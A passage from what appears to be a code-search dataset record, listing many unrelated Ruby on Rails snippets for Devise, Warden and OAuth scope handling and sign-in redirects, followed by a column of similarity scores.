"def default_search_scope(id, options = {})\n if actions = options[:only]\n actions = [] << actions unless actions.is_a?(Array)\n actions.each {|a| default_search_scopes[controller_name.to_sym][:actions][a.to_sym] = id.to_s}\n else\n default_search_scopes[controller_name.to_sym][:default] = id.to_s\n end\n end",
"def default_search_scope(id, options = {})\n if actions = options[:only]\n actions = [] << actions unless actions.is_a?(Array)\n actions.each {|a| default_search_scopes[controller_name.to_sym][:actions][a.to_sym] = id.to_s}\n else\n default_search_scopes[controller_name.to_sym][:default] = id.to_s\n end\n end",
"def after_sign_in_path_for(resource_or_scope)\n if resource_or_scope.is_a?(User)\n if current_user.role == \"normal\"\n app_profiles_path\n else\n admin_home_path\n end\n else\n root_path\n end\n end",
"def after_sign_in_path_for(resource_or_scope)\n current_user\n end",
"def current_user_scope\n current_user\n end",
"def current_scope\n params[:scope].try(:to_sym) || railgun_resource.default_scope.try(:key)\n end",
"def apply_scope(target, type:, name: :default, scope_options: nil)\n raise ActionPolicy::UnknownScopeType.new(self.class, type) unless\n self.class.scoping_handlers.key?(type)\n\n raise ActionPolicy::UnknownNamedScope.new(self.class, type, name) unless\n self.class.scoping_handlers[type].key?(name)\n\n mid = :\"__scoping__#{type}__#{name}\"\n scope_options ? send(mid, target, **scope_options) : send(mid, target)\n end",
"def after_sign_in_path(resource_or_scope)\n case resource_or_scope\n when :user, User\n expenses_path\n else\n super\n end\n end",
"def authorize_params\n\n # Trick shamelessly borrowed from the omniauth-facebook gem!\n super.tap do |params|\n %w[scope].each { |v| params[v.to_sym] = request.params[v] if request.params[v] }\n params[:scope] ||= DEFAULT_SCOPE # ensure that we're always request *some* default scope\n end\n end",
"def apply_scopes(*)\n relation = super\n relation = relation.accessible_by(current_ability) if scope_accessible?\n relation\n end",
"def signed_in?(scope)\n warden.authenticate?(:scope => scope)\n end",
"def after_sign_in_path_for(resource_or_scope)\n case resource_or_scope.class.name\n when 'Venue'\n venue_root_url(:protocol => 'http')\n when 'Admin'\n admin_root_url(:protocol => 'http')\n else\n super\n end\n end",
"def scoped_by(name, options = {})\n options[:scope] ||= :reference\n if scope_class = self.class.scope_types[options[:scope]]\n @scopes[name] = scope_class.new(@model, name, options)\n end\n end",
"def authenticate_scope!\n super\n end",
"def scope_for(finder, options = {})\n return finder unless options.keys.include? @named_scope\n value = options.delete(@named_scope)\n finder.send(@named_scope, value)\n end",
"def scope\n @scope ||= Array(@root_scope) + [Inflector.underscore(name)]\n end",
"def sign_in_and_redirect(resource_or_scope, *args); end",
"def authenticate_scope!\n send(:\"authenticate_#{resource_name}!\")\n self.resource = resource_class.find(send(:\"current_#{resource_name}\").id)\n end",
"def authenticate_scope!\n send(:\"authenticate_#{resource_name}!\")\n self.resource = resource_class.find(send(:\"current_#{resource_name}\").id)\n end",
"def stradivari_scope(name, *args, &block)\n callable, options = stradivari_scope_options(*args, &block)\n\n scope(name, callable)\n options[:type] ||= :string\n stradivari_scopes.store(name.to_sym, options)\n end",
"def authenticate_scope!\n send(:\"authenticate_#{resource_name}!\", force: true)\n self.resource = send(:\"current_#{resource_name}\")\n end",
"def authenticate_scope!\n send(:\"authenticate_#{resource_name}!\", force: true)\n self.resource = send(:\"current_#{resource_name}\")\n end",
"def authenticate_scope!\n send(:\"authenticate_#{resource_name}!\", force: true)\n self.resource = send(:\"current_#{resource_name}\")\n end",
"def authenticate_scope!\n send(:\"authenticate_#{resource_name}!\", force: true)\n self.resource = send(:\"current_#{resource_name}\")\n end",
"def authenticate_scope!\n send(:\"authenticate_#{resource_name}!\", force: true)\n self.resource = send(:\"current_#{resource_name}\")\n end",
"def authenticate_scope!\n send(:\"authenticate_#{resource_name}!\", force: true)\n self.resource = send(:\"current_#{resource_name}\")\n end",
"def authenticate_scope!\n send(:\"authenticate_#{resource_name}!\", force: true)\n self.resource = send(:\"current_#{resource_name}\")\n end",
"def scope(object = nil)\n configure(:scope, object)\n end",
"def namespace_scopes\n super\n end",
"def after_sign_in_path_for(resource_or_scope)\n resource_or_scope.is_a?(User) ? dashboard_root_path : root_path\n end",
"def auth_options\n { scope: resource_name, recall: \"#{controller_path}#unauthorized\" }\n end",
"def authenticate_scope!\n send(:\"authenticate_#{resource_name}!\", :force => true)\n self.resource = send(:\"current_#{resource_name}\")\n end",
"def authenticate_scope!\n send(:\"authenticate_#{resource_name}!\", :force => true)\n self.resource = send(:\"current_#{resource_name}\")\n end",
"def authenticate_scope!\n send(:\"authenticate_#{resource_name}!\", :force => true)\n self.resource = send(:\"current_#{resource_name}\")\n end",
"def authenticate_scope!\n send(:\"authenticate_#{resource_name}!\", :force => true)\n self.resource = send(:\"current_#{resource_name}\")\n end",
"def all_scopes\n @all_scopes ||=\n {'identity' => (auth['scope'] || apps_permissions_users_list[user_id].to_h['scopes'].to_a.join(',')).to_s.split(',')}\n .merge(auth['scopes'].to_h)\n end",
"def devise_i18n_options(options)\n options[:scope] = \"devise.registrations\"\n options\n end",
"def set_search_scope(opts)\n opts = check_params(opts,[:search_scopes])\n super(opts)\n end",
"def sign_in_and_redirect(resource_or_scope, resource=nil)\n scope = Devise::Mapping.find_scope!(resource_or_scope)\n resource ||= resource_or_scope\n sign_in(scope, resource) unless warden.user(scope) == resource\n return render :json => {:success => true}\n end",
"def user(scope=nil)\n scope ? warden.user(scope) : warden.user\n end",
"def user(scope=nil)\n scope ? warden.user(scope) : warden.user\n end",
"def set_scope(val)\n @scope = val\n build_path_query\n @scope\n end",
"def authenticate_scope!\r\n send(:\"authenticate_#{resource_name}!\")\r\n self.resource = resource_class.find(send(:\"current_#{resource_name}\").id)\r\n end",
"def after_sign_in_path_for(resource_or_scope)\n if resource_or_scope.is_a?(User) && resource_or_scope.banned?\n sign_out resource_or_scope\n banned_index_path\n elsif session[:pre_sign_in_path] && session[:pre_sign_in_path] != birthyear_path || session[:pre_sign_in_path] != new_user_session_path\n session[:user_return_to] || (session[:pre_sign_in_path] if session[:pre_sign_in_path] != birthyear_path ) || root_path\n elsif request.env['omniauth.origin'] && request.env['omniauth.origin'] != new_user_session_path || request.env['omniauth.origin'] != birthyear_path\n session[:user_return_to] || (session[:pre_sign_in_path] if session[:pre_sign_in_path] != birthyear_path ) || request.env['omniauth.origin'] || root_path\n else\n root_path\n end\n end",
"def after_sign_in_path_for(resource_or_scope)\n patients_path\n end",
"def update_scope\n @scope = params[:scope] || params[:q] || {}\n end",
"def scope\n read_attr :scope, :to_sym\n end",
"def downgrade_scopes!\n return unless Feature.enabled?(:omniauth_login_minimal_scopes, current_user,\n default_enabled: :yaml)\n\n auth_type = params.delete('gl_auth_type')\n return unless auth_type == 'login'\n\n ensure_read_user_scope!\n\n params['scope'] = Gitlab::Auth::READ_USER_SCOPE.to_s if application_has_read_user_scope?\n end",
"def apply_pagination_scope(scope)\n settings = pagination_settings\n settings = instance_exec(&settings) if settings.is_a?(Proc)\n\n unless settings.nil?\n page = settings[:page] || params[:page]\n per_page = settings[:per_page]\n padding = settings[:padding]\n\n if defined?(::Kaminari)\n scope = scope.page(page).per(per_page).padding(padding)\n elsif defined?(::WillPaginate)\n scope = scope.paginate(page: page, per_page: per)\n else\n raise StandardError, 'Only WillPaginate & Kaminari are supported by friendly_admin'\n end\n end\n scope\n end",
"def sign_in(resource_or_scope, *args); end",
"def set_routable_scope(router_class, routable_scope)\n scope router_class.scope_name, routable_scope || -> {}\n end",
"def after_sign_in_path_for(resource_or_scope)\n return session['user_return_to'] if session['user_return_to'].present?\n\n if defined? session[:return_to]\n if session[:return_to].ends_with? 'admin'\n if can? :access_units_index, :admin\n return admin_units_url\n elsif can? :access_courses_index, :admin\n return admin_unit_url(current_user.units.first)\n else\n unit_course_url(Unit.first, Course.first)\n end\n elsif params[:controller] == \"devise/passwords\"\n unit_url(Unit.first)\n else\n return session[:return_to]\n end\n else\n unit_course_url(Unit.first, Course.first)\n end\n end",
"def after_sign_in_path_for(resource_or_scope)\n return \"/admin\"\n end",
"def after_sign_in_path_for(resource_or_scope)\n if resource_or_scope.is_a?(User)\n resource_or_scope.role.includes?('administrator') ? notes_url : profile_path\n else\n super \n end\n end",
"def oauth2_scope(value = nil)\n rw_config(:oauth2_scope, value, '')\n end",
"def read_scope(user)\n self\n end",
"def signed_in_resource\n warden.authenticate(scope: resource_name)\n end",
"def authorize_scopes\n scopes = Array(Rack::Utils.parse_query(request.query_string)[\"scope\"])\n return if scopes.empty?\n\n auth_scopes = {}\n\n # First try to fetch the requested scopes and the handler. If no scopes\n # were successfully given, respond with a 401.\n scopes.each do |scope|\n auth_scope, actions = scope_handler(scope)\n\n actions.each do |action|\n # It will try to check if the current user is authorized to access the\n # scope given in this iteration. If everything is fine, then nothing will\n # happen, otherwise there are two possible exceptions that can be raised:\n #\n # - NoMethodError: the targeted resource does not handle the scope that\n # is being checked. It will raise a ScopeNotHandled.\n # - Pundit::NotAuthorizedError: the targeted resource unauthorized the\n # given user for the scope that is being checked. In this case this\n # scope gets removed from `auth_scope.actions`.\n begin\n authorize auth_scope.resource, \"#{action}?\".to_sym\n rescue Portus::AuthScope::NamespaceNotSupport, NoMethodError, Pundit::NotAuthorizedError, Portus::AuthScope::ResourceNotFound => e\n logger.debug e\n logger.debug \"action #{action} not handled/authorized, removing from actions\"\n auth_scope.actions.delete_if { |a| match_action(action, a) }\n end\n end\n\n next if auth_scope.actions.empty?\n # if there is already a similar scope (type and resource name),\n # we combine them into one:\n # e.g. scope=repository:busybox:push&scope=repository:busybox:pull\n # -> access=>[{:type=>\"repository\", :name=>\"busybox\", :actions=>[\"push\", \"pull\"]}\n k = [auth_scope.resource_type, auth_scope.resource_name]\n if auth_scopes[k]\n auth_scopes[k].actions.concat(auth_scope.actions).uniq!\n else\n auth_scopes[k] = auth_scope\n end\n end\n auth_scopes.values\n end",
"def route(name, namespace=nil)\n scope.send(roda_class.named_route(name, namespace), self)\n end",
"def scope\n @options[:scope]\n end",
"def sign_in_user user\n @request.env[\"devise.mapping\"] = Devise.mappings[:user]\n sign_in user\n end",
"def after_sign_in_path_for(resource_or_scope)\n scope = Devise::Mapping.find_scope!(resource_or_scope)\n home_path = :\"#{scope}_root_path\"\n respond_to?(home_path, true) ? send(home_path) : root_path\n end",
"def after_sign_in_path_for(resource_or_scope)\n admin_path\n end",
"def apply_to_scope(scope)\n scope\n end",
"def after_sign_up_path_for(resource_or_scope)\n if resource_or_scope.is_a?(User) # TODO different paths for different folks\n root_path\n else\n super\n end\n end",
"def github_authenticated(scope=nil, options={}, &routes_block)\n github_constraint(scope, options, routes_block) do |warden, scope|\n warden.authenticated?(scope: scope)\n end\n end",
"def after_sign_in_path_for(resource_or_scope)\n '/admin'\n end",
"def assign_access_scope(scope)\n ACCESS_SCOPES.include?(scope.to_s) or raise \"'#{ scope }' is not a valid scope.\"\n self.access_scope = scope.to_s\n end",
"def authenticate_scope!\n \n \n do_before_request \n\n end",
"def authorize_scopes\n @authorize_scopes ||= (env['omniauth.params']['scope'] || authorize_params['scope']).split(' ')\n end",
"def resource_class\n devise_mapping.to\n end"
] | [
"0.6440811",
"0.6260333",
"0.60024804",
"0.567202",
"0.5520424",
"0.5470942",
"0.54442394",
"0.5436649",
"0.5228263",
"0.5167874",
"0.51521516",
"0.51470935",
"0.51470935",
"0.5129631",
"0.51057976",
"0.51057976",
"0.50937223",
"0.50771517",
"0.50634605",
"0.50567603",
"0.5046968",
"0.50441426",
"0.5014225",
"0.5007005",
"0.49821976",
"0.49669123",
"0.49564558",
"0.49380827",
"0.4910344",
"0.49049616",
"0.49004444",
"0.49004444",
"0.48971996",
"0.4886505",
"0.48780623",
"0.4872898",
"0.48651755",
"0.48453382",
"0.48324877",
"0.48230055",
"0.48193684",
"0.48112693",
"0.48018324",
"0.47995102",
"0.4789456",
"0.47833738",
"0.4777964",
"0.47714463",
"0.47714463",
"0.47703674",
"0.47665268",
"0.47665268",
"0.47665268",
"0.47665268",
"0.47665268",
"0.47665268",
"0.47665268",
"0.4754498",
"0.47405818",
"0.4739944",
"0.47394803",
"0.4729433",
"0.4729433",
"0.4729433",
"0.4729433",
"0.47265533",
"0.47239763",
"0.47127745",
"0.47090536",
"0.46883854",
"0.46883854",
"0.46767706",
"0.46729383",
"0.4668296",
"0.46679133",
"0.46522057",
"0.46521187",
"0.46494794",
"0.46465027",
"0.46423084",
"0.46329093",
"0.46287438",
"0.46051273",
"0.46010846",
"0.46005327",
"0.45820358",
"0.4580823",
"0.4578773",
"0.45781362",
"0.45748225",
"0.45743644",
"0.45704624",
"0.4570438",
"0.45692658",
"0.45572576",
"0.45568553",
"0.45559672",
"0.4550107",
"0.4548247",
"0.45461875",
"0.4539994"
] | 0.0 | -1 |
Sets the devise scope to be used in the controller. If you have custom routes, you are required to call this method (also aliased as :as) in order to specify to which controller it is targeted. as :user do get "sign_in", to: "devise/sessionsnew" end Notice you cannot have two scopes mapping to the same URL. And remember, if you try to access a devise controller without specifying a scope, it will raise ActionNotFound error. Also be aware of that 'devise_scope' and 'as' use the singular form of the noun where other devise route commands expect the plural form. This would be a good and working example. devise_scope :user do get "/some/route" => "some_devise_controller" end devise_for :users Notice and be aware of the differences above between :user and :users source://devise//lib/devise/rails/routes.rb363 | def devise_scope(scope); end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def devise_scope(scope)\n constraint = lambda do |request|\n request.env[\"devise.mapping\"] = Devise.mappings[scope]\n true\n end\n\n constraints(constraint) do\n yield\n end\n end",
"def scope_path\n opts = {}\n route = :\"new_#{scope}_session_path\"\n alt_route = :\"new_#{scope}_ichain_session_path\"\n opts[:format] = request_format unless skip_format?\n\n config = Rails.application.config\n opts[:script_name] = (config.relative_url_root if config.respond_to?(:relative_url_root))\n\n context = send(Devise.available_router_name)\n\n if context.respond_to?(route)\n context.send(route, opts)\n elsif context.respond_to?(alt_route)\n context.send(alt_route, opts)\n elsif respond_to?(:root_path)\n root_path(opts)\n else\n \"/\"\n end\n end",
"def sign_in(resource_or_scope, resource=nil)\n scope = Devise::Mapping.find_scope!(resource_or_scope)\n resource ||= resource_or_scope\n warden.set_user(resource, :scope => scope)\n end",
"def set_scope\n if (scope = params[:scope])\n if @resource.respond_to?(scope)\n @resource = @resource.send(scope)\n else\n not_allowed\n end\n end\n end",
"def scope_to(*args, &block)\n config.scope_to(*args, &block)\n end",
"def set_user_in_warden(scope, resource)\n scope = Devise::Mapping.find_scope!(scope)\n warden.set_user(resource, scope: scope, store: false)\n end",
"def auto_detect_scope(*args)\n options = args.extract_options!\n\n if options.key?(:for)\n options[:scope] = options[:for]\n ::ActiveSupport::Deprecation.warn(\"DEPRECATION: \" <<\n \"Devise scope :for option is deprecated. \" <<\n \"Use: facebook_*_link(:some_scope), or facebook_*_link(:scope => :some_scope)\")\n end\n\n scope = args.detect { |arg| arg.is_a?(Symbol) } || options[:scope] || ::Devise.default_scope\n mapping = ::Devise.mappings[scope]\n\n if mapping.for.include?(:facebook)\n scope\n else\n error_message =\n \"%s\" <<\n \" Did you forget to devise facebook_connect in your model? Like this: devise :facebook_connectable.\" <<\n \" You can also specify scope explicitly, e.g.: facebook_*link :for => :customer.\"\n error_message %=\n if scope.present?\n \"#{scope.inspect} is not a valid facebook devise scope. \" <<\n \"Loaded modules for this scope: #{mapping.for.inspect}.\"\n else\n \"Could not auto-detect any facebook_connectable devise scope.\"\n end\n raise error_message\n end\n end",
"def auth_options\n { scope: resource_name }\n end",
"def translation_scope\n \"devise.#{controller_name}\"\n end",
"def sign_in_and_redirect2(resource_or_scope, *args)\n options = args.extract_options!\n scope = Devise::Mapping.find_scope!(resource_or_scope)\n resource = args.last || resource_or_scope\n sign_in(scope, resource, options)\n redirect_to stored_location_for(:user) || root_path # thanks_for_registration_path\n end",
"def set_scope\n @scope = Scope.find(params[:id])\n end",
"def set_scope\n @scope = Scope.find(params[:id])\n end",
"def after_sign_in_path_for(resource_or_scope)\n return '/admin/' if !resource_or_scope.blank? && resource_or_scope.is_a?(Admin)\n super\n end",
"def after_sign_in_path_for(resource_or_scope)\n user_path(current_user)\n end",
"def after_sign_in_path_for(resource_or_scope)\n user_path(current_user)\n end",
"def after_sign_in_path_for(resource_or_scope)\n user_path(current_user.id)\n end",
"def sign_in_and_redirect(resource_or_scope, resource=nil)\n\t scope = Devise::Mapping.find_scope!(resource_or_scope)\n\t resource ||= resource_or_scope\n\t sign_in(scope, resource) unless warden.user(scope) == resource\n\t # redirect_to stored_location_for(scope) || after_sign_in_path_for(resource)\n\t render :json => {:status => :signed_in}\n\tend",
"def scope scope = nil, &proc\n @scope = (proc || scope) if (scope || proc) && configurable?\n @setup[:scope] ||= @scope ||\n (@controller.ctrl.slice.view.scope if @controller)\n end",
"def after_sign_in_path_for(resource_or_scope)\n \"/users/#{current_user.id}\"\n end",
"def after_sign_in_path_for(resource_or_scope)\n '/user'\n end",
"def sign_in(resource_or_scope, resource=nil)\n scope ||= Devise::Mapping.find_scope!(resource_or_scope)\n resource ||= resource_or_scope\n warden.instance_variable_get(:@users).delete(scope)\n warden.session_serializer.store(resource, scope)\n end",
"def after_sign_in_path_for(resource_or_scope); end",
"def sign_in_and_redirect(resource_or_scope, resource=nil)\n scope = Devise::Mapping.find_scope!(resource_or_scope)\n resource ||= resource_or_scope\n sign_in(scope, resource) unless warden.user(scope) == resource\n redirect_to stored_location_for(scope) || after_sign_in_path_for(resource)\n end",
"def after_sign_in_path_for(resource_or_scope)\n if resource_or_scope == :user\n dash_user_path(:user)\n elsif resource_or_scope == :admin\n new_admin_session_path\n else\n root_path\n end\n end",
"def resource_scope=(resource_scope)\n @resource_scope = \"/#{resource_scope}\"\n end",
"def selected_scope\n (params[:scope] || :default).to_sym\n end",
"def after_sign_in_path_for(resource_or_scope)\n current_user # redirects to a user's show page\n end",
"def after_sign_in_path_for(resource_or_scope)\n if resource_or_scope.kind_of?(User)\n account_surveys_path\n else #Admins [for future]\n super(resource_or_scope)\n end\n end",
"def authenticate_scope!\r\n send(:\"authenticate_user!\", :force => true)\r\n self.resource = send(:\"current_user\")\r\n end",
"def default_search_scope(id, options = {})\n if actions = options[:only]\n actions = [] << actions unless actions.is_a?(Array)\n actions.each {|a| default_search_scopes[controller_name.to_sym][:actions][a.to_sym] = id.to_s}\n else\n default_search_scopes[controller_name.to_sym][:default] = id.to_s\n end\n end",
"def default_search_scope(id, options = {})\n if actions = options[:only]\n actions = [] << actions unless actions.is_a?(Array)\n actions.each {|a| default_search_scopes[controller_name.to_sym][:actions][a.to_sym] = id.to_s}\n else\n default_search_scopes[controller_name.to_sym][:default] = id.to_s\n end\n end",
"def after_sign_in_path_for(resource_or_scope)\n if resource_or_scope.is_a?(User)\n if current_user.role == \"normal\"\n app_profiles_path\n else\n admin_home_path\n end\n else\n root_path\n end\n end",
"def after_sign_in_path_for(resource_or_scope)\n current_user\n end",
"def current_user_scope\n current_user\n end",
"def current_scope\n params[:scope].try(:to_sym) || railgun_resource.default_scope.try(:key)\n end",
"def apply_scope(target, type:, name: :default, scope_options: nil)\n raise ActionPolicy::UnknownScopeType.new(self.class, type) unless\n self.class.scoping_handlers.key?(type)\n\n raise ActionPolicy::UnknownNamedScope.new(self.class, type, name) unless\n self.class.scoping_handlers[type].key?(name)\n\n mid = :\"__scoping__#{type}__#{name}\"\n scope_options ? send(mid, target, **scope_options) : send(mid, target)\n end",
"def after_sign_in_path(resource_or_scope)\n case resource_or_scope\n when :user, User\n expenses_path\n else\n super\n end\n end",
"def authorize_params\n\n # Trick shamelessly borrowed from the omniauth-facebook gem!\n super.tap do |params|\n %w[scope].each { |v| params[v.to_sym] = request.params[v] if request.params[v] }\n params[:scope] ||= DEFAULT_SCOPE # ensure that we're always request *some* default scope\n end\n end",
"def apply_scopes(*)\n relation = super\n relation = relation.accessible_by(current_ability) if scope_accessible?\n relation\n end",
"def signed_in?(scope)\n warden.authenticate?(:scope => scope)\n end",
"def after_sign_in_path_for(resource_or_scope)\n case resource_or_scope.class.name\n when 'Venue'\n venue_root_url(:protocol => 'http')\n when 'Admin'\n admin_root_url(:protocol => 'http')\n else\n super\n end\n end",
"def scoped_by(name, options = {})\n options[:scope] ||= :reference\n if scope_class = self.class.scope_types[options[:scope]]\n @scopes[name] = scope_class.new(@model, name, options)\n end\n end",
"def authenticate_scope!\n super\n end",
"def scope_for(finder, options = {})\n return finder unless options.keys.include? @named_scope\n value = options.delete(@named_scope)\n finder.send(@named_scope, value)\n end",
"def scope\n @scope ||= Array(@root_scope) + [Inflector.underscore(name)]\n end",
"def sign_in_and_redirect(resource_or_scope, *args); end",
"def authenticate_scope!\n send(:\"authenticate_#{resource_name}!\")\n self.resource = resource_class.find(send(:\"current_#{resource_name}\").id)\n end",
"def authenticate_scope!\n send(:\"authenticate_#{resource_name}!\")\n self.resource = resource_class.find(send(:\"current_#{resource_name}\").id)\n end",
"def stradivari_scope(name, *args, &block)\n callable, options = stradivari_scope_options(*args, &block)\n\n scope(name, callable)\n options[:type] ||= :string\n stradivari_scopes.store(name.to_sym, options)\n end",
"def authenticate_scope!\n send(:\"authenticate_#{resource_name}!\", force: true)\n self.resource = send(:\"current_#{resource_name}\")\n end",
"def authenticate_scope!\n send(:\"authenticate_#{resource_name}!\", force: true)\n self.resource = send(:\"current_#{resource_name}\")\n end",
"def authenticate_scope!\n send(:\"authenticate_#{resource_name}!\", force: true)\n self.resource = send(:\"current_#{resource_name}\")\n end",
"def authenticate_scope!\n send(:\"authenticate_#{resource_name}!\", force: true)\n self.resource = send(:\"current_#{resource_name}\")\n end",
"def authenticate_scope!\n send(:\"authenticate_#{resource_name}!\", force: true)\n self.resource = send(:\"current_#{resource_name}\")\n end",
"def authenticate_scope!\n send(:\"authenticate_#{resource_name}!\", force: true)\n self.resource = send(:\"current_#{resource_name}\")\n end",
"def authenticate_scope!\n send(:\"authenticate_#{resource_name}!\", force: true)\n self.resource = send(:\"current_#{resource_name}\")\n end",
"def scope(object = nil)\n configure(:scope, object)\n end",
"def after_sign_in_path_for(resource_or_scope)\n resource_or_scope.is_a?(User) ? dashboard_root_path : root_path\n end",
"def namespace_scopes\n super\n end",
"def auth_options\n { scope: resource_name, recall: \"#{controller_path}#unauthorized\" }\n end",
"def authenticate_scope!\n send(:\"authenticate_#{resource_name}!\", :force => true)\n self.resource = send(:\"current_#{resource_name}\")\n end",
"def authenticate_scope!\n send(:\"authenticate_#{resource_name}!\", :force => true)\n self.resource = send(:\"current_#{resource_name}\")\n end",
"def authenticate_scope!\n send(:\"authenticate_#{resource_name}!\", :force => true)\n self.resource = send(:\"current_#{resource_name}\")\n end",
"def authenticate_scope!\n send(:\"authenticate_#{resource_name}!\", :force => true)\n self.resource = send(:\"current_#{resource_name}\")\n end",
"def all_scopes\n @all_scopes ||=\n {'identity' => (auth['scope'] || apps_permissions_users_list[user_id].to_h['scopes'].to_a.join(',')).to_s.split(',')}\n .merge(auth['scopes'].to_h)\n end",
"def devise_i18n_options(options)\n options[:scope] = \"devise.registrations\"\n options\n end",
"def set_search_scope(opts)\n opts = check_params(opts,[:search_scopes])\n super(opts)\n end",
"def sign_in_and_redirect(resource_or_scope, resource=nil)\n scope = Devise::Mapping.find_scope!(resource_or_scope)\n resource ||= resource_or_scope\n sign_in(scope, resource) unless warden.user(scope) == resource\n return render :json => {:success => true}\n end",
"def user(scope=nil)\n scope ? warden.user(scope) : warden.user\n end",
"def user(scope=nil)\n scope ? warden.user(scope) : warden.user\n end",
"def set_scope(val)\n @scope = val\n build_path_query\n @scope\n end",
"def authenticate_scope!\r\n send(:\"authenticate_#{resource_name}!\")\r\n self.resource = resource_class.find(send(:\"current_#{resource_name}\").id)\r\n end",
"def after_sign_in_path_for(resource_or_scope)\n patients_path\n end",
"def after_sign_in_path_for(resource_or_scope)\n if resource_or_scope.is_a?(User) && resource_or_scope.banned?\n sign_out resource_or_scope\n banned_index_path\n elsif session[:pre_sign_in_path] && session[:pre_sign_in_path] != birthyear_path || session[:pre_sign_in_path] != new_user_session_path\n session[:user_return_to] || (session[:pre_sign_in_path] if session[:pre_sign_in_path] != birthyear_path ) || root_path\n elsif request.env['omniauth.origin'] && request.env['omniauth.origin'] != new_user_session_path || request.env['omniauth.origin'] != birthyear_path\n session[:user_return_to] || (session[:pre_sign_in_path] if session[:pre_sign_in_path] != birthyear_path ) || request.env['omniauth.origin'] || root_path\n else\n root_path\n end\n end",
"def update_scope\n @scope = params[:scope] || params[:q] || {}\n end",
"def scope\n read_attr :scope, :to_sym\n end",
"def downgrade_scopes!\n return unless Feature.enabled?(:omniauth_login_minimal_scopes, current_user,\n default_enabled: :yaml)\n\n auth_type = params.delete('gl_auth_type')\n return unless auth_type == 'login'\n\n ensure_read_user_scope!\n\n params['scope'] = Gitlab::Auth::READ_USER_SCOPE.to_s if application_has_read_user_scope?\n end",
"def apply_pagination_scope(scope)\n settings = pagination_settings\n settings = instance_exec(&settings) if settings.is_a?(Proc)\n\n unless settings.nil?\n page = settings[:page] || params[:page]\n per_page = settings[:per_page]\n padding = settings[:padding]\n\n if defined?(::Kaminari)\n scope = scope.page(page).per(per_page).padding(padding)\n elsif defined?(::WillPaginate)\n scope = scope.paginate(page: page, per_page: per)\n else\n raise StandardError, 'Only WillPaginate & Kaminari are supported by friendly_admin'\n end\n end\n scope\n end",
"def sign_in(resource_or_scope, *args); end",
"def set_routable_scope(router_class, routable_scope)\n scope router_class.scope_name, routable_scope || -> {}\n end",
"def after_sign_in_path_for(resource_or_scope)\n return session['user_return_to'] if session['user_return_to'].present?\n\n if defined? session[:return_to]\n if session[:return_to].ends_with? 'admin'\n if can? :access_units_index, :admin\n return admin_units_url\n elsif can? :access_courses_index, :admin\n return admin_unit_url(current_user.units.first)\n else\n unit_course_url(Unit.first, Course.first)\n end\n elsif params[:controller] == \"devise/passwords\"\n unit_url(Unit.first)\n else\n return session[:return_to]\n end\n else\n unit_course_url(Unit.first, Course.first)\n end\n end",
"def after_sign_in_path_for(resource_or_scope)\n return \"/admin\"\n end",
"def after_sign_in_path_for(resource_or_scope)\n if resource_or_scope.is_a?(User)\n resource_or_scope.role.includes?('administrator') ? notes_url : profile_path\n else\n super \n end\n end",
"def oauth2_scope(value = nil)\n rw_config(:oauth2_scope, value, '')\n end",
"def read_scope(user)\n self\n end",
"def signed_in_resource\n warden.authenticate(scope: resource_name)\n end",
"def authorize_scopes\n scopes = Array(Rack::Utils.parse_query(request.query_string)[\"scope\"])\n return if scopes.empty?\n\n auth_scopes = {}\n\n # First try to fetch the requested scopes and the handler. If no scopes\n # were successfully given, respond with a 401.\n scopes.each do |scope|\n auth_scope, actions = scope_handler(scope)\n\n actions.each do |action|\n # It will try to check if the current user is authorized to access the\n # scope given in this iteration. If everything is fine, then nothing will\n # happen, otherwise there are two possible exceptions that can be raised:\n #\n # - NoMethodError: the targeted resource does not handle the scope that\n # is being checked. It will raise a ScopeNotHandled.\n # - Pundit::NotAuthorizedError: the targeted resource unauthorized the\n # given user for the scope that is being checked. In this case this\n # scope gets removed from `auth_scope.actions`.\n begin\n authorize auth_scope.resource, \"#{action}?\".to_sym\n rescue Portus::AuthScope::NamespaceNotSupport, NoMethodError, Pundit::NotAuthorizedError, Portus::AuthScope::ResourceNotFound => e\n logger.debug e\n logger.debug \"action #{action} not handled/authorized, removing from actions\"\n auth_scope.actions.delete_if { |a| match_action(action, a) }\n end\n end\n\n next if auth_scope.actions.empty?\n # if there is already a similar scope (type and resource name),\n # we combine them into one:\n # e.g. scope=repository:busybox:push&scope=repository:busybox:pull\n # -> access=>[{:type=>\"repository\", :name=>\"busybox\", :actions=>[\"push\", \"pull\"]}\n k = [auth_scope.resource_type, auth_scope.resource_name]\n if auth_scopes[k]\n auth_scopes[k].actions.concat(auth_scope.actions).uniq!\n else\n auth_scopes[k] = auth_scope\n end\n end\n auth_scopes.values\n end",
"def route(name, namespace=nil)\n scope.send(roda_class.named_route(name, namespace), self)\n end",
"def sign_in_user user\n @request.env[\"devise.mapping\"] = Devise.mappings[:user]\n sign_in user\n end",
"def scope\n @options[:scope]\n end",
"def after_sign_in_path_for(resource_or_scope)\n admin_path\n end",
"def after_sign_in_path_for(resource_or_scope)\n scope = Devise::Mapping.find_scope!(resource_or_scope)\n home_path = :\"#{scope}_root_path\"\n respond_to?(home_path, true) ? send(home_path) : root_path\n end",
"def apply_to_scope(scope)\n scope\n end",
"def github_authenticated(scope=nil, options={}, &routes_block)\n github_constraint(scope, options, routes_block) do |warden, scope|\n warden.authenticated?(scope: scope)\n end\n end",
"def after_sign_up_path_for(resource_or_scope)\n if resource_or_scope.is_a?(User) # TODO different paths for different folks\n root_path\n else\n super\n end\n end",
"def after_sign_in_path_for(resource_or_scope)\n '/admin'\n end",
"def assign_access_scope(scope)\n ACCESS_SCOPES.include?(scope.to_s) or raise \"'#{ scope }' is not a valid scope.\"\n self.access_scope = scope.to_s\n end",
"def authenticate_scope!\n \n \n do_before_request \n\n end",
"def authorize_scopes\n @authorize_scopes ||= (env['omniauth.params']['scope'] || authorize_params['scope']).split(' ')\n end",
"def resource_class\n devise_mapping.to\n end"
] | [
"0.64416087",
"0.6001214",
"0.56732464",
"0.5520173",
"0.5470844",
"0.54457724",
"0.54373413",
"0.52277434",
"0.5166573",
"0.51522654",
"0.5147866",
"0.5147866",
"0.5128817",
"0.5105338",
"0.5105338",
"0.5093431",
"0.50777364",
"0.50625956",
"0.5056366",
"0.50460905",
"0.50452423",
"0.50135803",
"0.5007995",
"0.49812564",
"0.49661136",
"0.49559498",
"0.49378568",
"0.49092376",
"0.49061653",
"0.49008173",
"0.49008173",
"0.48962134",
"0.4886065",
"0.48784393",
"0.48730627",
"0.48646978",
"0.48447433",
"0.48318788",
"0.48226222",
"0.48202857",
"0.48097488",
"0.48029724",
"0.47999176",
